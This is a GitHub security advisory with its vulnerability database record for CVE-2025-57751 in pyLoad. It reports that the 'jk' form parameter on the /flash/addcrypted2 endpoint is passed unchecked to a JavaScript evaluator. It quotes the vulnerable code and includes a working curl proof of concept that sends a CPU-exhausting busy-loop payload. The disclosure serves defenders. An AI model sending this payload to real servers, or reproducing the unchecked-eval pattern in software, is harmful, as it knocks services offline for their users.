GHSA-9GJJ-6GJ7-C4WJ
Vulnerability from github – Published: 2025-08-21 20:11 – Updated: 2025-08-22 15:01Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.
Summary
The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.
Details
- Endpoint: flash/addcrypted2
- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42
affected code
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
package = flask.request.form.get(
"package", flask.request.form.get("source", flask.request.form.get("referer"))
)
crypted = flask.request.form["crypted"]
jk = flask.request.form["jk"]
pack_password = flask.request.form.get("passwords")
crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
jk = eval_js(f"{jk} f()")
def eval_js(script, es6=False):
if sys.version_info < (3, 12):
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
else:
return dukpy.evaljs(script)
PoC
download pyload and run locally, send the following request - PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "crypted=SGVsbG8gd29ybGQ=" \
-d "passwords=pyload" \
-d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"
The 30_000 can be modified to any large value.
Impact
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.
Use the following command to check CPU usage
top -pid $(pgrep -f "pyload.__main__")
or
top -pid $(pgrep -f "pyload")
The CPU is fully occupied
web-ui unresponsive
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev92"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57751"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-21T20:11:52Z",
"nvd_published_at": "2025-08-21T19:15:43Z",
"severity": "HIGH"
},
"details": "Dear Maintainers,\nI am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.\n\n### Summary\nThe `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.\n\n### Details\n- Endpoint: flash/addcrypted2\n- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123\nhttps://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42\t\n\naffected code\n```python\n@bp.route(\"/flash/addcrypted2\", methods=[\"POST\"], endpoint=\"addcrypted2\")\n@local_check\ndef addcrypted2():\n package = flask.request.form.get(\n \"package\", flask.request.form.get(\"source\", flask.request.form.get(\"referer\"))\n )\n crypted = flask.request.form[\"crypted\"]\n jk = flask.request.form[\"jk\"]\n pack_password = flask.request.form.get(\"passwords\")\n\n crypted = standard_b64decode(unquote(crypted.replace(\" \", \"+\")))\n jk = eval_js(f\"{jk} f()\")\n\n```\n\n```python\ndef eval_js(script, es6=False):\n if sys.version_info \u003c (3, 12):\n return (js2py.eval_js6 if es6 else js2py.eval_js)(script)\n else:\n return dukpy.evaljs(script)\n```\n\n### PoC\ndownload pyload and run locally, send the following request\n- PoC\n```shell\ncurl -X POST \"http://localhost:8000/flash/addcrypted2\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n -d \"crypted=SGVsbG8gd29ybGQ=\" \\\n -d \"passwords=pyload\" \\\n -d \"jk=const start = Date.now();%0Awhile (Date.now() - start \u003c 30_000) {} //\"\n```\nThe 30_000 can be modified to any large value.\n\n\n### Impact\nSystem resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.\n\nUse the following command to check CPU usage\n```shell\ntop -pid $(pgrep -f \"pyload.__main__\") \n```\nor\n```shell\ntop -pid $(pgrep -f \"pyload\") \n```\n\nThe CPU is fully occupied\n\u003cimg width=\"1209\" height=\"134\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e\" /\u003e\n\nweb-ui unresponsive\n\u003cimg width=\"1209\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd\" /\u003e",
"id": "GHSA-9gjj-6gj7-c4wj",
"modified": "2025-08-22T15:01:48Z",
"published": "2025-08-21T20:11:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57751"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs"
}
Sightings
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Nomenclature
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